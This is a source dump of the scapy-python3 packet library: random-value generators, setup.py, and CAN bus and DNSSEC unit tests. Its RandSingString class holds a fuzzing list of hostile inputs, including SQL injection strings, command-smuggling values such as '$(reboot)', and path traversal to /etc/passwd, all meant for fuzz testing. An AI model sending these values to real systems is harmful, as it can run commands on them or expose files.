b"".join(map(chr,range(256)))) RandString.__init__(self, size, b"".join([bytes([i]) for i in range(256)])) class RandTermString(RandString): def __init__(self, size, term): #RandString.__init__(self, size, b"".join(map(chr,range(1,256)))) RandString.__init__(self, size, bytes([i for i in range(1,256)])) self.term = term def _fix(self): return RandString._fix(self)+self.term class RandIP(RandString): def __init__(self, iptemplate="0.0.0.0/0"): self.ip = Net(iptemplate) def _fix(self): return self.ip.choice() class RandMAC(RandString): def __init__(self, template="*"): template += ":*:*:*:*:*" template = template.split(":") self.mac = () for i in range(6): if template[i] == "*": v = RandByte() elif "-" in template[i]: x,y = template[i].split("-") v = RandNum(int(x,16), int(y,16)) else: v = int(template[i],16) self.mac += (v,) def _fix(self): return "%02x:%02x:%02x:%02x:%02x:%02x" % self.mac class RandIP6(RandString): def __init__(self, ip6template="**"): self.tmpl = ip6template self.sp = self.tmpl.split(":") for i,v in enumerate(self.sp): if not v or v == "**": continue if "-" in v: a,b = v.split("-") elif v == "*": a=b="" else: a=b=v if not a: a = "0" if not b: b = "ffff" if a==b: self.sp[i] = int(a,16) else: self.sp[i] = RandNum(int(a,16), int(b,16)) self.variable = "" in self.sp self.multi = self.sp.count("**") def _fix(self): done = 0 nbm = self.multi ip = [] for i,n in enumerate(self.sp): if n == "**": nbm -= 1 remain = 8-(len(self.sp)-i-1)-len(ip)+nbm if "" in self.sp: remain += 1 if nbm or self.variable: remain = random.randint(0,remain) for j in range(remain): ip.append("%04x" % random.randint(0,65535)) elif n == 0: ip.append("0") elif not n: ip.append("") else: ip.append("%04x" % n) if len(ip) == 9: ip.remove("") if ip[-1] == "": ip[-1] = 0 return ":".join(ip) class RandOID(RandString): def __init__(self, fmt=None, depth=RandNumExpo(0.1), idnum=RandNumExpo(0.01)): self.ori_fmt = fmt if fmt is not None: fmt = fmt.split(".") for i in range(len(fmt)): if "-" in fmt[i]: fmt[i] = tuple(map(int, fmt[i].split("-"))) self.fmt = fmt self.depth = depth self.idnum = idnum def __repr__(self): if self.ori_fmt is None: return "<%s>" % self.__class__.__name__ else: return "<%s [%s]>" % (self.__class__.__name__, self.ori_fmt) def _fix(self): if self.fmt is None: return ".".join(map(str, [self.idnum for i in range(1+self.depth)])) else: oid = [] for i in self.fmt: if i == "*": oid.append(str(self.idnum)) elif i == "**": oid += map(str, [self.idnum for i in range(1+self.depth)]) elif type(i) is tuple: oid.append(str(random.randrange(*i))) else: oid.append(i) return ".".join(oid) class RandRegExp(RandField): def __init__(self, regexp, lambda_=0.3,): self._regexp = regexp self._lambda = lambda_ @staticmethod def choice_expand(s): #XXX does not support special sets like (ex ':alnum:') m = "" invert = s and s[0] == "^" while True: p = s.find("-") if p < 0: break if p == 0 or p == len(s)-1: m = "-" if p: s = s[:-1] else: s = s[1:] else: c1 = s[p-1] c2 = s[p+1] rng = "".join(map(chr, range(ord(c1),ord(c2)+1))) s = s[:p-1]+rng+s[p+1:] res = m+s if invert: res = "".join([chr(x) for x in range(256) if chr(x) not in res]) return res @staticmethod def stack_fix(lst, index): r = "" mul = 1 for e in lst: if type(e) is list: if mul != 1: mul = mul-1 r += RandRegExp.stack_fix(e[1:]*mul, index) # only the last iteration should be kept for back reference f = RandRegExp.stack_fix(e[1:], index) for i,idx in enumerate(index): if e is idx: index[i] = f r += f mul = 1 elif type(e) is tuple: kind,val = e if kind == "cite": r += index[val-1] elif kind == "repeat": mul = val elif kind == "choice": if mul == 1: c = random.choice(val) r += RandRegExp.stack_fix(c[1:], index) else: r += RandRegExp.stack_fix([e]*mul, index) mul = 1 else: if mul != 1: r += RandRegExp.stack_fix([e]*mul, index) mul = 1 else: r += str(e) return r def _fix(self): stack = [None] index = [] current = stack i = 0 ln = len(self._regexp) interp = True while i < ln: c = self._regexp[i] i+=1 if c == '(': current = [current] current[0].append(current) elif c == '|': p = current[0] ch = p[-1] if type(ch) is not tuple: ch = ("choice",[current]) p[-1] = ch else: ch[1].append(current) current = [p] elif c == ')': ch = current[0][-1] if type(ch) is tuple: ch[1].append(current) index.append(current) current = current[0] elif c == '[' or c == '{': current = [current] current[0].append(current) interp = False elif c == ']': current = current[0] choice = RandRegExp.choice_expand("".join(current.pop()[1:])) current.append(RandChoice(*list(choice))) interp = True elif c == '}': current = current[0] num = "".join(current.pop()[1:]) e = current.pop() if "," not in num: n = int(num) current.append([current]+[e]*n) else: num_min,num_max = num.split(",") if not num_min: num_min = "0" if num_max: n = RandNum(int(num_min),int(num_max)) else: n = RandNumExpo(self._lambda,base=int(num_min)) current.append(("repeat",n)) current.append(e) interp = True elif c == '\\': c = self._regexp[i] if c == "s": c = RandChoice(" ","\t") elif c in "0123456789": c = ("cite",ord(c)-0x30) current.append(c) i += 1 elif not interp: current.append(c) elif c == '+': e = current.pop() current.append([current]+[e]*(int(random.expovariate(self._lambda))+1)) elif c == '*': e = current.pop() current.append([current]+[e]*int(random.expovariate(self._lambda))) elif c == '?': if random.randint(0,1): current.pop() elif c == '.': current.append(RandChoice(*[chr(x) for x in range(256)])) elif c == '$' or c == '^': pass else: current.append(c) return RandRegExp.stack_fix(stack[1:], index) def __repr__(self): return "<%s [%r]>" % (self.__class__.__name__, self._regexp) class RandSingularity(RandChoice): pass class RandSingNum(RandSingularity): @staticmethod def make_power_of_two(end): sign = 1 if end == 0: end = 1 if end < 0: end = -end sign = -1 end_n = int(math.log(end)/math.log(2))+1 return set([sign*2**i for i in range(end_n)]) def __init__(self, mn, mx): sing = set([0, mn, mx, int((mn+mx)/2)]) sing |= self.make_power_of_two(mn) sing |= self.make_power_of_two(mx) for i in sing.copy(): sing.add(i+1) sing.add(i-1) for i in sing.copy(): if not mn <= i <= mx: sing.remove(i) self._choice = list(sing) class RandSingByte(RandSingNum): def __init__(self): RandSingNum.__init__(self, 0, 2**8-1) class RandSingSByte(RandSingNum): def __init__(self): RandSingNum.__init__(self, -2**7, 2**7-1) class RandSingShort(RandSingNum): def __init__(self): RandSingNum.__init__(self, 0, 2**16-1) class RandSingSShort(RandSingNum): def __init__(self): RandSingNum.__init__(self, -2**15, 2**15-1) class RandSingInt(RandSingNum): def __init__(self): RandSingNum.__init__(self, 0, 2**32-1) class RandSingSInt(RandSingNum): def __init__(self): RandSingNum.__init__(self, -2**31, 2**31-1) class RandSingLong(RandSingNum): def __init__(self): RandSingNum.__init__(self, 0, 2**64-1) class RandSingSLong(RandSingNum): def __init__(self): RandSingNum.__init__(self, -2**63, 2**63-1) class RandSingString(RandSingularity): #TODO3 def __init__(self): self._choice = [ b"", b"%x", b"%%", b"%s", b"%i", b"%n", b"%x%x%x%x%x%x%x%x%x", b"%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s", b"%", b"%%%", b"A"*4096, b"\x00"*4096, b"\xff"*4096, b"\x7f"*4096, b"\x80"*4096, b" "*4096, b"\\"*4096, b"("*4096, b"../"*1024, b"/"*1024, b"${HOME}"*512, b" or 1=1 --", b"' or 1=1 --", b'" or 1=1 --', b" or 1=1; #", b"' or 1=1; #", b'" or 1=1; #', b";reboot;", b"$(reboot)", b"`reboot`", b"index.php%00", b"\x00", b"%00", b"\\", b"../../../../../../../../../../../../../../../../../etc/passwd", b"%2e%2e%2f" * 20 + b"etc/passwd", b"%252e%252e%252f" * 20 + b"boot.ini", b"..%c0%af" * 20 + b"etc/passwd", b"..%c0%af" * 20 + b"boot.ini", b"//etc/passwd", br"..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\boot.ini", b"AUX:", b"CLOCK$", b"COM:", b"CON:", b"LPT:", b"LST:", b"NUL:", b"CON:", br"C:\CON\CON", br"C:\boot.ini", br"\\myserver\share", b"foo.exe:", b"foo.exe\\", ] class RandPool(RandField): def __init__(self, *args): """Each parameter is a volatile object or a couple (volatile object, weight)""" pool = [] for p in args: w = 1 if type(p) is tuple: p,w = p pool += [p]*w self._pool = pool def _fix(self): r = random.choice(self._pool) return r._fix() # Automatic timestamp class AutoTime(VolatileValue): def __init__(self, base=None): if base == None: self.diff = 0 else: self.diff = time.time()-base def _fix(self): return time.time()-self.diff class IntAutoTime(AutoTime): def _fix(self): return int(time.time()-self.diff) class IntAutoMicroTime(VolatileValue): """Instance returns integer encoded microsecond since instantiated.""" def __init__(self): self.init = True self.initts = time.time() def _fix(self): if self.init: self.init = False return 0 else: uts = time.time() - self.initts uts = int(uts * 10**6) return uts class ZuluTime(AutoTime): def __init__(self, diff=0): self.diff=diff def _fix(self): return time.strftime("%y%m%d%H%M%SZ",time.gmtime(time.time()+self.diff)) class DelayedEval(VolatileValue): """Example of usage: DelayedEval("time.time()")""" def __init__(self, expr): self.expr = expr def _fix(self): return eval(self.expr) class IncrementalValue(VolatileValue): def __init__(self, start=0, step=1, restart=-1): self.start = self.val = start self.step = step self.restart = restart def _fix(self): v = self.val if self.val == self.restart : self.val = self.start else: self.val += self.step return v class CorruptedBytes(VolatileValue): def __init__(self, s, p=0.01, n=None): self.s = s self.p = p self.n = n def _fix(self): return corrupt_bytes(self.s, p = self.p, n = self.n) class CorruptedBits(CorruptedBytes): def _fix(self): return corrupt_bits(self.s, p = self.p, n = self.n) scapy-0.23/setup.py000077500000000000000000000042221320561231000142630ustar00rootroot00000000000000#! /usr/bin/env python3 """ Distutils setup file for Scapy. """ from distutils import archive_util from distutils import sysconfig from distutils.core import setup from distutils.command.sdist import sdist import os EZIP_HEADER="""#! /bin/sh PYTHONPATH=$0/%s exec python3 -m scapy.__init__ """ def make_ezipfile(base_name, base_dir, verbose=0, dry_run=0, **kwargs): fname = archive_util.make_zipfile(base_name, base_dir, verbose, dry_run) ofname = fname+".old" os.rename(fname,ofname) of=open(ofname) f=open(fname,"w") f.write(EZIP_HEADER % base_dir) while True: data = of.read(8192) if not data: break f.write(data) f.close() os.system("zip -A '%s'" % fname) of.close() os.unlink(ofname) os.fchmod(fname,0o755) return fname archive_util.ARCHIVE_FORMATS["ezip"] = (make_ezipfile,[],'Executable ZIP file') SCRIPTS = ['bin/scapy','bin/UTscapy'] # On Windows we also need additional batch files to run the above scripts if os.name == "nt": SCRIPTS += ['bin/scapy.bat','bin/UTscapy.bat'] setup( name = 'scapy-python3', version = '0.23', packages=['scapy','scapy/arch', 'scapy/arch/windows', 'scapy/layers','scapy/asn1','scapy/tools','scapy/modules', 'scapy/crypto', 'scapy/contrib'], scripts = SCRIPTS, data_files = [('share/man/man1', ["doc/scapy.1.gz"])], # Metadata maintainer = 'Eriks Dobelis', maintainer_email = 'phaethon@users.noreply.github.com', description = 'Packet crafting/sending/sniffing, PCAP processing tool, based on scapy with python3 compatibility', license = 'GPLv2', url = 'https://github.com/phaethon/scapy', keywords = 'network security monitoring packet pcap analytics visualization', classifiers = [ 'Development Status :: 5 - Production/Stable', 'Environment :: Console', 'Operating System :: POSIX', 'Operating System :: Microsoft :: Windows', 'Programming Language :: Python :: 3', 'Programming Language :: Python :: 3 :: Only', 'Programming Language :: Python :: 3.4', 'Programming Language :: Python :: 3.5', 'Programming Language :: Python :: 3.6', ] ) scapy-0.23/test/000077500000000000000000000000001320561231000135255ustar00rootroot00000000000000scapy-0.23/test/can.uts000066400000000000000000000210631320561231000150250ustar00rootroot00000000000000# CAN unit tests # # Type the following command to launch start the tests: # $ sudo bash test/run_tests -t test/can.uts -F % CAN unit tests + Configuration of scapy3 = Load CAN_addon ~ conf command from scapy.layers.can import CAN, CANSocket, srcan = Setup string for vcan ~ conf command bashCommand = "/bin/bash -c 'sudo modprobe vcan; sudo ip link add name vcan0 type vcan; sudo ip link set dev vcan0 up'" = Load os ~ conf command import os import threading from time import sleep = Setup vcan0 ~ conf command 0 == os.system(bashCommand) + Basic Packet Tests() = CAN Packet init canframe = CAN(id=0x7ff,dlc=8,data=b'\x01\x02\x03\x04\x05\x06\x07\x08') bytes(canframe) == b'\xff\x07\x00\x00\x08\x00\x00\x00\x01\x02\x03\x04\x05\x06\x07\x08' = DLC greater than 8 canframe = CAN(id=0x7ff,dlc=9,data=b'\x01\x02\x03\x04\x05\x06\x07\x08') canframe.dlc = len(canframe.data) bytes(canframe) == b'\xff\x07\x00\x00\x08\x00\x00\x00\x01\x02\x03\x04\x05\x06\x07\x08' + Basic Socket Tests() = CAN Socket Init sock1 = CANSocket(iface="vcan0") = CAN Socket send recv def sender(): sleep(0.1) sock2 = CANSocket(iface="vcan0") sock2.send(CAN(id=0x7ff,dlc=8,data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) thread = threading.Thread(target=sender) thread.start() rx = sock1.recv() rx == CAN(id=0x7ff,dlc=8,data=b'\x01\x02\x03\x04\x05\x06\x07\x08') + Advanced Socket Tests() = CAN Socket sr1 tx = CAN(id=0x7ff,dlc=8,data=b'\x01\x02\x03\x04\x05\x06\x07\x08') = CAN Socket sr1 init time tx.sent_time == 0 def sender(): sleep(0.1) sock2 = CANSocket(iface="vcan0") sock2.send(tx) thread = threading.Thread(target=sender) thread.start() rx = None rx = sock1.sr1(tx) = CAN Socket sr1 time check tx.sent_time < rx.time and tx == rx and rx.time > 0 = srcan tx = CAN(id=0x7ff,dlc=8,data=b'\x01\x02\x03\x04\x05\x06\x07\x08') = srcan check init time tx.sent_time == 0 def sender(): sleep(0.1) sock2 = CANSocket(iface="vcan0") sock2.send(tx) thread = threading.Thread(target=sender) thread.start() rx = None rx = srcan(tx, "vcan0", timeout=1) rx = rx[0][0][1] = srcan check rx and tx tx == rx and tx.sent_time > 0 and rx.time > 0 and tx.sent_time < rx.time = sniff with filtermask 0x7ff sock1 = CANSocket(iface='vcan0', filter=[{'can_id': 0x200, 'can_mask': 0x7ff}]) def sender(): sleep(0.1) sock2 = CANSocket(iface="vcan0") sock2.send(CAN(id=0x200, dlc=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.send(CAN(id=0x300, dlc=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.send(CAN(id=0x300, dlc=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.send(CAN(id=0x200, dlc=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.send(CAN(id=0x100, dlc=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.send(CAN(id=0x200, dlc=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) thread = threading.Thread(target=sender) thread.start() packets = sock1.sniff(timeout=0.3) len(packets) == 3 = sniff with filtermask 0x700 sock1 = CANSocket(iface='vcan0', filter=[{'can_id': 0x200, 'can_mask': 0x700}]) def sender(): sleep(0.1) sock2 = CANSocket(iface="vcan0") sock2.send(CAN(id=0x212, dlc=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.send(CAN(id=0x300, dlc=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.send(CAN(id=0x2ff, dlc=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.send(CAN(id=0x1ff, dlc=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.send(CAN(id=0x200, dlc=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.send(CAN(id=0x2aa, dlc=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) thread = threading.Thread(target=sender) thread.start() packets = sock1.sniff(timeout=0.3) len(packets) == 4 = sniff with filtermask 0x0ff sock1 = CANSocket(iface='vcan0', filter=[{'can_id': 0x200, 'can_mask': 0x0ff}]) def sender(): sleep(0.1) sock2 = CANSocket(iface="vcan0") sock2.send(CAN(id=0x200, dlc=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.send(CAN(id=0x301, dlc=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.send(CAN(id=0x300, dlc=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.send(CAN(id=0x1ff, dlc=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.send(CAN(id=0x700, dlc=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.send(CAN(id=0x100, dlc=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) thread = threading.Thread(target=sender) thread.start() packets = sock1.sniff(timeout=0.3) len(packets) == 4 = sniff with multiple filters sock1 = CANSocket(iface='vcan0', filter=[{'can_id': 0x200, 'can_mask': 0x7ff}, {'can_id': 0x400, 'can_mask': 0x7ff}, {'can_id': 0x600, 'can_mask': 0x7ff}, {'can_id': 0x7ff, 'can_mask': 0x7ff}]) def sender(): sleep(0.1) sock2 = CANSocket(iface="vcan0") sock2.send(CAN(id=0x200, dlc=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.send(CAN(id=0x300, dlc=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.send(CAN(id=0x400, dlc=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.send(CAN(id=0x500, dlc=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.send(CAN(id=0x600, dlc=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.send(CAN(id=0x700, dlc=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.send(CAN(id=0x7ff, dlc=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) thread = threading.Thread(target=sender) thread.start() packets = sock1.sniff(timeout=0.3) len(packets) == 4 = sniff with filtermask 0x7ff and inverse filter sock1 = CANSocket(iface='vcan0', filter=[{'can_id': 0x200 | CAN_INV_FILTER, 'can_mask': 0x7ff}]) def sender(): sleep(0.1) sock2 = CANSocket(iface="vcan0") sock2.send(CAN(id=0x200, dlc=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.send(CAN(id=0x200, dlc=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.send(CAN(id=0x300, dlc=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.send(CAN(id=0x200, dlc=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.send(CAN(id=0x100, dlc=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.send(CAN(id=0x200, dlc=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) thread = threading.Thread(target=sender) thread.start() packets = sock1.sniff(timeout=0.3) len(packets) == 2 = sniff with filtermask 0x1FFFFFFF sock1 = CANSocket(iface='vcan0', filter=[{'can_id': 0x10000000, 'can_mask': 0x1FFFFFFF}]) def sender(): sleep(0.1) sock2 = CANSocket(iface="vcan0") sock2.send(CAN(flags='EFF', id=0x10010000, dlc=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.send(CAN(flags='EFF', id=0x10020000, dlc=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.send(CAN(flags='EFF', id=0x10000000, dlc=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.send(CAN(flags='EFF', id=0x10030000, dlc=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.send(CAN(flags='EFF', id=0x10040000, dlc=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.send(CAN(flags='EFF', id=0x10000000, dlc=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) thread = threading.Thread(target=sender) thread.start() packets = sock1.sniff(timeout=0.3) packets[0].show() print(len(packets)) len(packets) == 2 = sniff with filtermask 0x1FFFFFFF and inverse filter sock1 = CANSocket(iface='vcan0', filter=[{'can_id': 0x10000000 | CAN_INV_FILTER, 'can_mask': 0x1FFFFFFF}]) def sender(): sleep(0.1) sock2 = CANSocket(iface="vcan0") sock2.send(CAN(flags='EFF', id=0x10010000, dlc=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.send(CAN(flags='EFF', id=0x10020000, dlc=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.send(CAN(flags='EFF', id=0x10000000, dlc=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.send(CAN(flags='EFF', id=0x10030000, dlc=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.send(CAN(flags='EFF', id=0x10040000, dlc=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.send(CAN(flags='EFF', id=0x10000000, dlc=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) thread = threading.Thread(target=sender) thread.start() packets = sock1.sniff(timeout=0.3) packets[0].show() print(len(packets)) len(packets) == 4 = CAN Socket sr1 with receive own messages sock1 = CANSocket(iface="vcan0", receive_own_messages=True) tx = CAN(id=0x7ff,dlc=8,data=b'\x01\x02\x03\x04\x05\x06\x07\x08') rx = None rx = sock1.sr1(tx) tx.sent_time < rx.time and tx == rx and rx.time > 0 + PCAP CAN Tests() = Write pcap file rx = CAN(id=0x7ff,dlc=8,data=b'\x01\x02\x03\x04\x05\x06\x07\x08') wrpcap('/tmp/scapyPcapTest.pcap', rx, append=False) readPack = rdpcap('/tmp/scapyPcapTest.pcap', 1) rx == readPack[0] scapy-0.23/test/dnssecRR.uts000066400000000000000000000166001320561231000160100ustar00rootroot00000000000000# DNSSEC Ressource Record unit tests # # Type the following command to launch start the tests: # $ sudo bash test/run_tests -t test/dnssecRR.uts -F + bitmap2RRlist() = example from RFC 4034 RRlist2bitmap([1, 15, 46, 47, 1234]) == b'\x00\x06@\x01\x00\x00\x00\x03\x04\x1b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20' = [0] RRlist2bitmap([0]) == b'\x00\x01\x80' = [0,1,2,3,4,5,6,7] RRlist2bitmap([0,1,2,3,4,5,6,7]) == b'\x00\x01\xff' = [256,512,4096,36864] RRlist2bitmap([256,512,4096,36864]) == b'\x01\x01\x80\x02\x01\x80\x10\x01\x80\x90\x01\x80' = [65535] RRlist2bitmap([65535]) == b'\xff\x20\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01' + From RRlist2bitmap() to bitmap2RRlist() = example from RFC 4034 b = b'\x00\x06@\x01\x00\x00\x00\x03\x04\x1b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20' RRlist2bitmap(bitmap2RRlist(b)) == b = [0] b= b'\x00\x01\x80' RRlist2bitmap(bitmap2RRlist(b)) == b = [0,1,2,3,4,5,6,7] b = b'\x00\x01\xff' RRlist2bitmap(bitmap2RRlist(b)) == b = [256,512,4096,36864] b = b'\x01\x01\x80\x02\x01\x80\x10\x01\x80\x90\x01\x80' RRlist2bitmap(bitmap2RRlist(b)) == b = [65535] b = b'\xff\x20\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01' RRlist2bitmap(bitmap2RRlist(b)) == b + Test NSEC RR = DNSRRNSEC(), basic instanciation t = DNSRRNSEC() bytes(t) == b'\x00\x00/\x00\x01\x00\x00\x00\x00\x00\x01\x00' = DNSRRRNSEC(), check parameters t = DNSRRNSEC(rrname="scapy.secdev.org.", rclass=42, ttl=28, nextname="www.secdev.org.", typebitmaps=RRlist2bitmap([1,2,3,4,1234])) bytes(t) == b'\x05scapy\x06secdev\x03org\x00\x00/\x00*\x00\x00\x00\x1c\x000\x03www\x06secdev\x03org\x00\x00\x01x\x04\x1b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 ' + Test NSEC3 RR = DNSRRNSEC3(), basic instanciation t = DNSRRNSEC3() bytes(t) == b'\x00\x002\x00\x01\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00' = DNSRRRNSEC3(), check parameters t = DNSRRNSEC3(rrname="scapy.secdev.org.", rclass=42, ttl=28, hashalg=7, iterations=80, saltlength=28, salt="\x28\x07", hashlength=31, nexthashedownername="XXX.scapy.secdev.org", typebitmaps=RRlist2bitmap([1,2,3,4,1234])) bytes(t) == b'\x05scapy\x06secdev\x03org\x00\x002\x00*\x00\x00\x00\x1c\x00<\x07\x00\x00P\x1c(\x07\x1fXXX.scapy.secdev.org\x00\x01x\x04\x1b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 ' + Test NSEC3PARAM RR = DNSRRNSEC3PARAM(), basic instanciation t = DNSRRNSEC3PARAM() bytes(t) == b'\x00\x003\x00\x01\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00' = DNSRRRNSEC3PARAM(), check parameters t = DNSRRNSEC3(rrname="scapy.secdev.org.", rclass=42, ttl=28, hashalg=7, flags=80, iterations=80, saltlength=28, salt="\x28\x07") bytes(t) == b'\x05scapy\x06secdev\x03org\x00\x002\x00*\x00\x00\x00\x1c\x00\x08\x07P\x00P\x1c(\x07\x00' + Test RRSIG RR = DNSRRRSIG(), basic instanciation t = DNSRRRSIG() bytes(t) == b'\x00\x00.\x00\x01\x00\x00\x00\x00\x00\x13\x00\x01\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = DNSRRRSIG(), check parameters t = DNSRRRSIG(rrname="test.example.com.", type=46, rclass=12, ttl=64, originalttl=2807, keytag=42, signersname="test.rsig", signature="test RSIG") bytes(t) == b'\x04test\x07example\x03com\x00\x00.\x00\x0c\x00\x00\x00@\x00&\x00\x01\x05\x00\x00\x00\n\xf7\x00\x00\x00\x00\x00\x00\x00\x00\x00*\x04test\x04rsig\x00test RSIG' = DNSRRRSIG(), dissection rrsig = b'\x03isc\x03org\x00\x00.\x00\x01\x00\x00\x96O\x00\x9b\x00\x02\x05\x02\x00\x00\xa8\xc0K-3\xd9K\x05\xa6\xd9\xed6\x03isc\x03org\x00\xac\xb2_I\x9e\xdcU\xca/3\x1c\xdf{\xba\xd5\x80\xb0 \xa4~\x98\x95\xab~\x84\xb2\x1f9\x17#\x7f\xfeP\xb9\xfb\x8d\x13\x19\xd7\x7f\x9e/\x1c\xd7rv<\xc6\xd3\xf1\xae8\rh\xba\x1e\xaa\xe6\xf1\x1e\x1d\xdaS\xd4\\\xfd\xa3`P\xa1\xe0\xa2\x860\xd4?\xb4}j\x81O\x03\xdc&v\x13\xd4(k\xa07\x8f-\x08e\x06\xff\xb8h\x8f\x16j\xe4\xd92\xd2\x99\xc2\xb4' t = DNSRRRSIG(rrsig) t.rrname == b'isc.org.' and t.labels == 2 and t.keytag == 60726 and t.signature[-4:] == b'\xd2\x99\xc2\xb4' + Test DNSKEY RR = DNSRRDNSKEY(), basic instanciation t = DNSRRDNSKEY() bytes(t) == b'\x00\x000\x00\x01\x00\x00\x00\x00\x00\x04\x01\x00\x03\x05' and t.sprintf("%flags%") == 'Z' = DNSRRDNSKEY(), check parameters t = DNSRRDNSKEY(rrname="www.secdev.org.", type=42, rclass=12, ttl=1234, rdlen=567, flags=2807, protocol=195, algorithm=66, publickey="strong public key") bytes(t) == b'\x03www\x06secdev\x03org\x00\x00*\x00\x0c\x00\x00\x04\xd2\x027\n\xf7\xc3Bstrong public key' = DNSRRDNSKEY(), dissection t = DNSRRDNSKEY(b'\x03dlv\x03isc\x03org\x00\x000\x00\x01\x00\x00\x1bq\x01\t\x01\x01\x03\x05\x04@\x00\x00\x03\xc72\xef\xf9\xa2|\xeb\x10N\xf3\xd5\xe8&\x86\x0f\xd6<\xed>\x8e\xea\x19\xadm\xde\xb9a\'\xe0\xccC\x08M~\x94\xbc\xb6n\xb8P\xbf\x9a\xcd\xdfdJ\xb4\xcc\xd7\xe8\xc8\xfb\xd27sx\xd0\xf8^I\xd6\xe7\xc7g$\xd3\xc2\xc6\x7f>\x8c\x01\xa5\xd8VK+\xcb~\xd6\xea\xb8[\xe9\xe7\x03z\x8e\xdb\xe0\xcb\xfaN\x81\x0f\x89\x9e\xc0\xc2\xdb!\x81p{C\xc6\xeft\xde\xf5\xf6v\x90\x96\xf9\xe9\xd8`1\xd7\xb9\xcae\xf8\x04\x8f\xe8C\xe7\x00+\x9d?\xc6\xf2o\xd3Ak\x7f\xc90\xea\xe7\x0cO\x01e\x80\xf7\xbe\x8eq\xb1<\xf1&\x1c\x0b^\xfdDdc\xad\x99~B\xe8\x04\x00\x03,t="\xb4\xb6\xb6\xbc\x80{\xb9\x9b\x05\x95\\;\x02\x1eS\xf4p\xfedq\xfe\xfc00$\xe05\xba\x0c@\xabTv\xf3W\x0e\xb6\t\r!\xd9\xc2\xcd\xf1\x89\x15\xc5\xd5\x17\xfej_T\x99\x97\xd2j\xff\xf85b\xca\x8c|\xe9O\x9fd\xfdT\xadL3taK\x96\xac\x13a') t.rrname == b"dlv.isc.org." and t.rdlen == 265 and t.sprintf("%flags%") == 'SZ' and t.publickey == 